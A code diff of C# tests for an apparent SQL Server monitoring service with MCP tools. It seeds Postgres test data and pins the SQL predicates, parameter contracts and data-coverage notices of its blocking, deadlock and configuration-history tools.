+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cutServerId, cleanupCt));
+        }
+    }
+
+    /// <summary>The same 50 heavy rows the covered case plants (ten near 2,800 characters, the rest near 700), for the cut-window case below.</summary>
+    private static async Task SeedFiftyHeavyRowsAsync(NpgsqlConnection connection, int serverId, string serverName, string wideText, DateTime baseTime, System.Threading.CancellationToken ct)
+    {
+        for (var i = 0; i < 50; i++)
+        {
+            var t = DarlingMcpTestData.Naive(baseTime.AddMinutes(i));
+            var db = i % 3 == 0 ? "StackOverflow" : i % 3 == 1 ? "AdventureWorks" : "ReportingDW";
+            var isWide = i >= 40;
+            var text = isWide ? wideText : BuildQueryText(seed: i, approxLength: 700);
+            var hasWait = i % 4 == 0;
+
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, elapsed_time_formatted, query_text, status, blocking_session_id, wait_type, wait_time_ms, cpu_time_ms, total_elapsed_time_ms, reads, writes, logical_reads, granted_query_memory_gb, transaction_isolation_level, dop, parallel_worker_count, login_name, host_name, program_name, open_transaction_count, request_id, wait_resource, percent_complete, query_hash)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29)",
+                CollectionIdGenerator.Next(), t, serverId, serverName, 100 + i, db,
+                "00 00:00:05.125", text, i % 5 == 0 ? "suspended" : "running", 0,
+                hasWait ? "PAGEIOLATCH_SH" : null, hasWait ? 250L + i : 0L, 1000L + (i * 37), 1500L + (i * 37),
+                10_000L + (i * 123), 50L + i, i % 7, i % 6 == 0 ? 0.75m : 0m,
+                i % 2 == 0 ? "Read Committed" : "Repeatable Read", i % 6 == 0 ? 8 : 1, i % 6 == 0 ? 4 : 0,
+                i % 2 == 0 ? "app_svc_prod" : @"CONTOSO\svc_reporting", $"APPSRV{i % 5:D2}",
+                i % 2 == 0 ? ".Net SqlClient Data Provider" : "MyOrderService.Worker", i % 3 == 0 ? 1 : 0, 0,
+                "KEY: 5:72057594043432960 (a1b2c3d4e5f6)", 12.5m + i, "0x" + (0x1A2B3C4D5E6F7080L + i).ToString("X16"));
+        }
+    }
+
     /// <summary>Builds ASCII SQL text (a big literal IN-list, a realistic cause of an outsized capture) near
     /// <paramref name="approxLength"/> characters, so its length in .NET UTF-16 chars and its size in UTF-8
     /// bytes stay close.</summary>
@@ -135,10 +211,12 @@ private static string BuildQueryText(int seed, int approxLength)
         return sb.ToString();
     }
 
-    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    private static Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct) => DeleteRowsAsync(connection, ServerId, ct);
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, int serverId, System.Threading.CancellationToken ct)
     {
         using var cleanup = new NpgsqlCommand(
-            $"DELETE FROM query_snapshots WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            $"DELETE FROM query_snapshots WHERE server_id = {serverId}; DELETE FROM servers WHERE server_id = {serverId};",
             connection);
         await cleanup.ExecuteNonQueryAsync(ct);
     }
diff --git a/Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs b/Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs
index cbb4dc2dec..0c7033dd4f 100644
--- a/Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs
@@ -2095,8 +2095,12 @@ public async Task InsertAsync(MuteRule rule)
 /// </summary>
 public sealed class RepeatedCreateMuteRuleTests
 {
+    /* #5496: one clock reading for the whole class. Expiry(30) is called twice in one test and the two spellings must be
+       the SAME instant; reading the date at each call made them differ when a run crossed midnight UTC. */
+    private static readonly DateTime Today = DateTime.UtcNow.Date;
+
     private static string Expiry(int daysFromNow) =>
-        DateTime.UtcNow.Date.AddDays(daysFromNow).ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", System.Globalization.CultureInfo.InvariantCulture);
+        Today.AddDays(daysFromNow).ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", System.Globalization.CultureInfo.InvariantCulture);
 
     private static Task<string> ViaMcp(
         IMuteRuleStore store,
diff --git a/Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs b/Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs
index b2bfbbceb3..0041d49403 100644
--- a/Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs
@@ -18,6 +18,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -93,11 +94,11 @@ private static (string Name, bool Optional)[] McpParams(string toolName)
     /// Darling-only addition each still fail.</para>
     /// </summary>
     [Theory]
-    [InlineData("get_blocking", "server_name,hours_back,limit,as_of")]
+    [InlineData("get_blocking", "server_name,hours_back,limit,as_of,database_name")]
     [InlineData("get_deadlocks", "server_name,hours_back,limit,as_of")]
     [InlineData("get_deadlock_detail", "server_name,hours_back,limit,as_of")]
-    [InlineData("get_blocked_process_xml", "server_name,hours_back,limit,as_of")]
-    [InlineData("get_blocking_trend", "server_name,hours_back,as_of")]
+    [InlineData("get_blocked_process_xml", "server_name,hours_back,limit,as_of,database_name")]
+    [InlineData("get_blocking_trend", "server_name,hours_back,as_of,database_name")]
     [InlineData("get_deadlock_trend", "server_name,hours_back,as_of")]
     [InlineData("get_lock_wait_trend", "server_name,hours_back,as_of,bucket_minutes")]
     public void ParamContract_MatchesLite(string toolName, string expectedCsv)
@@ -443,6 +444,134 @@ public void AdvertisedSchema_NoRequiredParams()
         foreach (var tool in BlockingToolSurface)
             Assert.Empty(DarlingMcpSchemaAssert.RequiredOf(tools[tool]));
     }
+
+    /// <summary>
+    /// #5236 W6: a list flag and the point read it feeds test presence with the SAME predicate, <c>IS NOT NULL AND &lt;&gt; ''</c>
+    /// (the house pattern the report-XML read uses). A flag that tested only <c>IS NOT NULL</c> would draw a button for an
+    /// empty-string plan, and the read behind it would answer "unavailable". The flags live in the two page-keyed flag statements.
+    /// </summary>
+    [Fact]
+    public void TheListFlags_UseThePointReadsPresencePredicate()
+    {
+        var flagReads = new (string Sql, string Column)[]
+        {
+            (DarlingBlockingReader.BlockedPlanFlagsSql, "blocked_query_plan_xml"),
+            (DarlingBlockingReader.BlockedPlanFlagsSql, "blocking_query_plan_xml"),
+            (DarlingBlockingReader.DeadlockVictimPlanFlagsSql, "victim_query_plan_xml"),
+        };
+        foreach (var (sql, column) in flagReads)
+        {
+            Assert.Contains($"({column} IS NOT NULL AND {column} <> '')", sql, StringComparison.Ordinal);
+        }
+
+        var pointReads = new (string Sql, string Column)[]
+        {
+            (DarlingStoredPlanReader.BlockedPlanSql, "blocked_query_plan_xml"),
+            (DarlingStoredPlanReader.BlockingPlanSql, "blocking_query_plan_xml"),
+        };
+        foreach (var (sql, column) in pointReads)
+        {
+            Assert.Contains($"AND   {column} IS NOT NULL", sql, StringComparison.Ordinal);
+            Assert.Contains($"AND   {column} <> ''", sql, StringComparison.Ordinal);
+        }
+
+        /* The victim read applies the same predicate inside its plan subquery (the first predicate of that WHERE). */
+        Assert.Contains("WHERE victim_query_plan_xml IS NOT NULL", DarlingStoredPlanReader.DeadlockVictimPlanSql, StringComparison.Ordinal);
+        Assert.Contains("AND   victim_query_plan_xml <> ''", DarlingStoredPlanReader.DeadlockVictimPlanSql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5236: no list statement, and neither of the two variants that page over XML or graphs, names a plan column. In a
+    /// compressed TimescaleDB chunk every named column is decompressed for each batch the list scans, and a flag computed there
+    /// was evaluated after the per-chunk sorts, so each row's whole plan text went through them (measured: the 7-day deadlock
+    /// list on a server where half the rows carry a plan went from 0.3 s to 1.9 s). The flags come from the two keyed
+    /// statements, which read only the page's own rows.
+    /// </summary>
+    [Fact]
+    public void TheListStatements_NameNoPlanColumn_AndTheFlagStatementsAreKeyedToThePage()
+    {
+        foreach (var sql in new[]
+        {
+            DarlingBlockingReader.BlockedProcessReportsSql,
+            DarlingBlockingReader.BlockedProcessReportsWithXmlSql,
+            DarlingBlockingReader.RecentDeadlocksSql,
+            DarlingBlockingReader.RecentDeadlocksWithGraphSql,
+        })
+        {
+            Assert.DoesNotContain("query_plan_xml", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("has_blocked_plan", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("has_blocking_plan", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("has_victim_plan", sql, StringComparison.Ordinal);
+        }
+
+        /* The key rides in the list: collection_time and the id come back so the page can be re-read for its flags. */
+        Assert.Contains("blocked_report_id", DarlingBlockingReader.BlockedProcessReportsSql, StringComparison.Ordinal);
+        Assert.Contains("deadlock_id", DarlingBlockingReader.RecentDeadlocksSql, StringComparison.Ordinal);
+
+        foreach (var (sql, table, id) in new[]
+        {
+            (DarlingBlockingReader.BlockedPlanFlagsSql, "blocked_process_reports", "blocked_report_id"),
+            (DarlingBlockingReader.DeadlockVictimPlanFlagsSql, "deadlocks", "deadlock_id"),
+        })
+        {
+            Assert.Contains($"FROM {table}", sql, StringComparison.Ordinal);
+            Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
+            Assert.Contains("AND   collection_time = ANY($2)", sql, StringComparison.Ordinal);
+            Assert.Contains($"AND   {id} = ANY($3)", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("LIMIT", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("ORDER BY", sql, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>#5236: the blocked and the blocking plan reads are one statement over two columns, so a change to the key, the
+    /// floor or the copy order cannot reach one side and miss the other.</summary>
+    [Fact]
+    public void TheTwoBlockingPlanSqls_DifferOnlyInTheColumn()
+    {
+        Assert.NotEqual(DarlingStoredPlanReader.BlockedPlanSql, DarlingStoredPlanReader.BlockingPlanSql);
+        Assert.Equal(
+            DarlingStoredPlanReader.BlockingPlanSql,
+            DarlingStoredPlanReader.BlockedPlanSql.Replace("blocked_query_plan_xml", "blocking_query_plan_xml", StringComparison.Ordinal));
+
+        /* The key is the row's own, the floor is the partition bound, and the copy taken is the EARLIEST one with a plan. */
+        Assert.Contains("AND   event_time = $2", DarlingStoredPlanReader.BlockedPlanSql, StringComparison.Ordinal);
+        Assert.Contains("AND   collection_time >= $7", DarlingStoredPlanReader.BlockedPlanSql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY collection_time, blocked_report_id", DarlingStoredPlanReader.BlockedPlanSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("DESC", DarlingStoredPlanReader.BlockedPlanSql, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5236: every plan read is bound to ONE server and takes its database as the optional NULL-or-equal filter. The live
+    /// cross-server and cross-database tests prove the behaviour; this pins the predicates a later edit could drop without a build error.</summary>
+    [Fact]
+    public void EveryRowPlanSql_IsBoundToItsServer_AndTakesTheOptionalDatabaseFilter()
+    {
+        foreach (var sql in new[] { DarlingStoredPlanReader.BlockedPlanSql, DarlingStoredPlanReader.BlockingPlanSql, DarlingStoredPlanReader.DeadlockVictimPlanSql })
+        {
+            Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("AND   ($8::text IS NULL OR database_name = $8)", DarlingStoredPlanReader.BlockedPlanSql, StringComparison.Ordinal);
+        Assert.Contains("AND   ($8::text IS NULL OR database_name = $8)", DarlingStoredPlanReader.BlockingPlanSql, StringComparison.Ordinal);
+        Assert.Contains("AND   ($5::text IS NULL OR database_name = $5)", DarlingStoredPlanReader.DeadlockVictimPlanSql, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5236: the victim read counts the distinct victims among ALL the deadlocks the stamps match (the presence
+    /// predicate is not in that count), and takes the plan from the lowest deadlock_id that captured one, so a twin that captured
+    /// no plan still makes a no-victim read ambiguous and a plan-less copy of one deadlock never hides its sibling's plan.</summary>
+    [Fact]
+    public void TheDeadlockVictimPlanSql_CountsVictimsAcrossEveryMatch_AndTakesThePlanFromTheLowestCapturedCopy()
+    {
+        var sql = DarlingStoredPlanReader.DeadlockVictimPlanSql;
+        var cte = System.Text.RegularExpressions.Regex.Match(sql, @"WITH twins AS\s*\((.*?)\)\s*SELECT", System.Text.RegularExpressions.RegexOptions.Singleline);
+        Assert.True(cte.Success);
+        Assert.DoesNotContain("victim_query_plan_xml IS NOT NULL", cte.Groups[1].Value, StringComparison.Ordinal);
+        Assert.DoesNotContain("victim_query_plan_xml <>", cte.Groups[1].Value, StringComparison.Ordinal);
+        Assert.Contains("count(DISTINCT coalesce(victim_process_id, ''))", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY deadlock_id", sql, StringComparison.Ordinal);
+        Assert.Contains("AS victim_plan_xml", sql, StringComparison.Ordinal);
+        Assert.Contains("AS victim_count", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LIMIT 2", sql, StringComparison.Ordinal);
+    }
 }
 
 /// <summary>
@@ -571,6 +700,307 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /* #4966: where the data starts, on the five event-list tools. The coverage probe is DataWindowFloor.Source.ForCollectorTable (the later
+       of the retention edge and the server's registration), moved earlier by the oldest event the page shows. Every instant is an offset
+       from one anchor minute, so the probe's purge edge never lands inside a window. */
+    private sealed record EventTool(string Name, string Table, string Label, string ArrayKey);
+
+    private static readonly EventTool[] EventTools =
+    [
+        new("get_blocking", "blocked_process_reports", "blocked_process_reports and dmv_blocking_snapshots", "events"),
+        new("get_blocking_dmv", "dmv_blocking_snapshots", "blocked_process_reports and dmv_blocking_snapshots", "events"),
+        new("get_deadlocks", "deadlocks", "deadlocks", "deadlocks"),
+        new("get_deadlock_detail", "deadlocks", "deadlocks", "deadlocks"),
+        new("get_blocked_process_xml", "blocked_process_reports", "blocked_process_reports", "reports"),
+        new("get_long_query_completions", "long_query_completions", "long_query_completions", "completions"),
+    ];
+
+    private static DateTime EventAnchor()
+    {
+        var now = DateTime.UtcNow;
+        return new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+    }
+
+    private static string EventServer(EventTool tool, string window) => "darling-mcp-evt-" + window + "-" + tool.Name.Replace('_', '-');
+
+    private static System.Text.Json.JsonElement ParseEvent(string json) => System.Text.Json.JsonDocument.Parse(json).RootElement.Clone();
+
+    private static Task<string> CallEventAsync(NpgsqlDataSource postgres, EventTool tool, string server, int hours, DateTime end, int limit = 15)
+    {
+        var asOf = WebDataStartNote.FormatWindowEnd(end);
+        return tool.Name switch
+        {
+            "get_blocking" or "get_blocking_dmv" => DarlingMcpBlockingTools.GetBlocking(postgres, server, hours, limit, as_of: asOf),
+            "get_deadlocks" => DarlingMcpBlockingTools.GetDeadlocks(postgres, server, hours, limit, as_of: asOf),
+            "get_deadlock_detail" => DarlingMcpBlockingTools.GetDeadlockDetail(postgres, server, hours, limit, as_of: asOf),
+            "get_blocked_process_xml" => DarlingMcpBlockingTools.GetBlockedProcessXml(postgres, server, hours, limit, as_of: asOf),
+            _ => DarlingMcpLongQueryTools.GetLongQueryCompletions(postgres, server, hours, limit, as_of: asOf),
+        };
+    }
+
+    /// <summary>A server registered at <paramref name="created"/> with three events an hour apart from <paramref name="firstEvent"/> (none when null).</summary>
+    private static async Task SeedEventServerAsync(
+        NpgsqlConnection connection, EventTool tool, string name, DateTime created, DateTime? firstEvent, System.Threading.CancellationToken ct,
+        DateTime? collectedAt = null)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        await DeleteEventServerAsync(connection, name, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, serverId, name, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET created_date = $2 WHERE server_id = $1", serverId, DarlingMcpTestData.Naive(created));
+        if (firstEvent is not DateTime first) return;
+
+        for (var i = 0; i < 3; i++)
+        {
+            var at = DarlingMcpTestData.Naive(first.AddHours(i));
+            var collected = collectedAt is DateTime c ? DarlingMcpTestData.Naive(c) : at;
+            switch (tool.Table)
+            {
+                case "blocked_process_reports":
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocked_sql_text, blocking_sql_text, blocked_process_report_xml, contentious_object)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14)",
+                        CollectionIdGenerator.Next(), collected, serverId, name, at, Db, 55 + i, 60, 8000L, "X", "SELECT 1", "UPDATE Posts SET Score = Score + 1", "<blocked-process-report><blocked-process><process spid=\"55\"/></blocked-process></blocked-process-report>", "dbo.Posts");
+                    break;
+                case "dmv_blocking_snapshots":
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO dmv_blocking_snapshots (collection_id, collection_time, server_id, server_name, monitor_loop, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocking_status, contentious_object, blocked_sql_text, blocking_sql_text)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15)",
+                        CollectionIdGenerator.Next(), collected, serverId, name, -1, at, Db, 70 + i, 80, 3000L, "S", "suspended", "dbo.Users", "SELECT 2", "WAITFOR DELAY '00:01'");
+                    break;
+                case "deadlocks":
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+                        CollectionIdGenerator.Next(), collected, serverId, name, at, "process123", "DELETE FROM Posts", "<deadlock><victim-list><victimProcess id=\"process123\"/></victim-list><process-list><process id=\"process123\"><inputbuf>DELETE FROM Posts</inputbuf></process></process-list></deadlock>");
+                    break;
+                default:
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, duration_microseconds, statement_text)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                        CollectionIdGenerator.Next(), collected, serverId, name, at, "rpc_completed", Db, (long)(i + 1) * 1_000_000, "EXEC p" + i);
+                    break;
+            }
+        }
+    }
+
+    private static async Task DeleteEventServerAsync(NpgsqlConnection connection, string name, System.Threading.CancellationToken ct)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        foreach (var table in new[] { "blocked_process_reports", "dmv_blocking_snapshots", "deadlocks", "long_query_completions", "servers" })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM {table} WHERE server_id = $1", serverId);
+        }
+    }
+
+    /// <summary>Runs <paramref name="body"/> for each event tool against its own seeded server, then removes what it seeded.</summary>
+    private static async Task ForEachEventToolAsync(
+        string window, Func<NpgsqlConnection, NpgsqlDataSource, EventTool, string, DateTime, Task> body)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live blocking-tools test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var end = EventAnchor();
+            foreach (var tool in EventTools)
+            {
+                await body(connection, postgres, tool, EventServer(tool, window), end);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                foreach (var tool in EventTools)
+                {
+                    await DeleteEventServerAsync(cleanup, EventServer(tool, window), cleanupCt);
+                }
+            });
+        }
+    }
+
+    [Fact]
+    public async Task EventLists_ForAServerAddedTwoDaysAgo_NameWhereCoverageStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachEventToolAsync("added", async (connection, postgres, tool, name, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedEventServerAsync(connection, tool, name, added, end.AddDays(-1), ct);
+
+            var root = ParseEvent(await CallEventAsync(postgres, tool, name, 168, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.Equal(
+                DarlingMcpWindowNotice.Build(added, end.AddHours(-168), tool.Label).TruncationNote,
+                root.GetProperty("truncation_note").GetString());
+            Assert.Contains("raw " + tool.Label + " retains", root.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+            Assert.False(root.TryGetProperty("effective_hours_back", out _), tool.Name);
+            Assert.Equal(3, root.GetProperty(tool.ArrayKey).GetArrayLength());
+
+            /* Written right after hours_back, in the contract's order. */
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            var at = names.IndexOf("hours_back");
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(at + 1).Take(3));
+        });
+    }
+
+    [Fact]
+    public async Task EventLists_WhoseFirstEventComesLate_AreCovered_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachEventToolAsync("quiet", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedEventServerAsync(connection, tool, name, end.AddDays(-30), end.AddDays(-5), ct);
+
+            var root = ParseEvent(await CallEventAsync(postgres, tool, name, 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            var effectiveStart = DateTime.Parse(root.GetProperty("effective_start").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+            Assert.InRange((effectiveStart - end.AddHours(-168)).TotalSeconds, 0, 120);
+        });
+    }
+
+    /// <summary>An event stamped before the server's first collection (a backfill) is shown, so the notice cannot name a start later than it.</summary>
+    [Fact]
+    public async Task AnEvent_OlderThanTheFirstCollection_GivesNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachEventToolAsync("backfill", async (connection, postgres, tool, name, end) =>
+        {
+            /* Registered an hour ago and collected 30 minutes ago, but the events are stamped 23.5 hours back. The probe reads collection_time, so only
+               the oldest event time on the page puts the notice's start before the registration: it stays quiet only if that time is folded in. */
+            await SeedEventServerAsync(connection, tool, name, end.AddHours(-1), end.AddHours(-23.5), ct, collectedAt: end.AddMinutes(-30));
+
+            var root = ParseEvent(await CallEventAsync(postgres, tool, name, 24, end));
+
+            Assert.Equal(3, root.GetProperty(tool.ArrayKey).GetArrayLength());
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(end.AddHours(-23.5)), root.GetProperty("effective_start").GetString());
+        });
+    }
+
+    [Fact]
+    public async Task AnEmptyAnswer_PastCoverage_CarriesTheNoticeUnderHints_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachEventToolAsync("empty", async (connection, postgres, tool, name, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedEventServerAsync(connection, tool, name, added, null, ct);
+
+            var root = ParseEvent(await CallEventAsync(postgres, tool, name, 1, end.AddDays(-5)));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+            Assert.Contains("no collection of " + tool.Label, hints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+            Assert.False(root.TryGetProperty("window_truncated", out _), tool.Name);
+        });
+    }
+
+    /// <summary>A window of 90 minutes or less that answered rows starts no probe: the stand-in would throw if it ran.</summary>
+    [Fact]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachEventToolAsync("short", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedEventServerAsync(connection, tool, name, end.AddDays(-30), end.AddMinutes(-40), ct);
+
+            var probes = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { probes++; throw new TimeoutException("the probe must not run"); };
+            var bodySucceeded = false;
+            try
+            {
+                var root = ParseEvent(await CallEventAsync(postgres, tool, name, 1, end));
+
+                Assert.Equal(0, probes);
+                Assert.True(root.GetProperty(tool.ArrayKey).GetArrayLength() > 0, tool.Name);
+                Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+                bodySucceeded = true;
+            }
+            finally
+            {
+                await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+                {
+                    DarlingMcpWindowNotice.TestOnlyProbe = null;
+                    return Task.CompletedTask;
+                });
+            }
+        });
+    }
+
+    /// <summary>A page cut by the limit still carries the notice, computed over the events it shows.</summary>
+    [Fact]
+    public async Task ACappedPage_StillCarriesTheNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachEventToolAsync("capped", async (connection, postgres, tool, name, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedEventServerAsync(connection, tool, name, added, end.AddDays(-1), ct);
+
+            var root = ParseEvent(await CallEventAsync(postgres, tool, name, 168, end, limit: 2));
+
+            Assert.True(root.GetProperty("truncated").GetBoolean(), tool.Name);
+            Assert.Equal(2, root.GetProperty(tool.ArrayKey).GetArrayLength());
+            Assert.True(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+        });
+    }
+
+    /// <summary>A coverage probe that throws costs the notice, never the rows: the rows come back without the three keys, and an empty answer without hints.</summary>
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachEventToolAsync("probefail", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedEventServerAsync(connection, tool, name, end.AddDays(-2), end.AddDays(-1), ct);
+
+            var bodySucceeded = false;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+            try
+            {
+                var root = ParseEvent(await CallEventAsync(postgres, tool, name, 168, end));
+
+                Assert.False(root.TryGetProperty("status", out _), tool.Name);
+                Assert.False(root.TryGetProperty("error", out _), tool.Name);
+                Assert.Equal(3, root.GetProperty(tool.ArrayKey).GetArrayLength());
+                Assert.False(root.TryGetProperty("effective_start", out _), tool.Name);
+                Assert.False(root.TryGetProperty("window_truncated", out _), tool.Name);
+                Assert.False(root.TryGetProperty("truncation_note", out _), tool.Name);
+
+                var empty = ParseEvent(await CallEventAsync(postgres, tool, name, 1, end.AddDays(-5)));
+                Assert.Equal("empty", empty.GetProperty("status").GetString());
+                Assert.False(empty.TryGetProperty("hints", out _), tool.Name);
+                bodySucceeded = true;
+            }
+            finally
+            {
+                await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+                {
+                    DarlingMcpWindowNotice.TestOnlyProbe = null;
+                    return Task.CompletedTask;
+                });
+            }
+        });
+    }
+
     private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct, bool keepServer = false)
     {
         var sql = string.Join(" ", new[] { "blocked_process_reports", "dmv_blocking_snapshots", "deadlocks" }
diff --git a/Darling/Darling.Tests/DarlingMcpConfigHistoryToolsTests.cs b/Darling/Darling.Tests/DarlingMcpConfigHistoryToolsTests.cs
index ba34e104e0..41fd9b2af0 100644
--- a/Darling/Darling.Tests/DarlingMcpConfigHistoryToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpConfigHistoryToolsTests.cs
@@ -17,6 +17,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -34,6 +35,7 @@ namespace Darling.Tests;
 /// (no live PG). Also pins the tool surface, param contracts, snapshot-read SQL, the 27-setting database-config
 /// column list, and the Gemini-clean advertised schema.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpConfigHistoryToolsSurfaceAndSqlTests
 {
     private static readonly string[] ConfigToolSurface =
@@ -76,7 +78,7 @@ private static (string Name, bool Optional)[] McpParams(string toolName)
 
     [Theory]
     [InlineData("get_server_config_changes", "server_name,hours_back,as_of")]
-    [InlineData("get_database_config_changes", "server_name,hours_back,as_of")]
+    [InlineData("get_database_config_changes", "server_name,hours_back,as_of,database_name")]
     [InlineData("get_trace_flag_changes", "server_name,hours_back,as_of")]
     [InlineData("get_database_scoped_config", "server_name,database_name")]
     [InlineData("get_query_store_health", "server_name,database_name")]
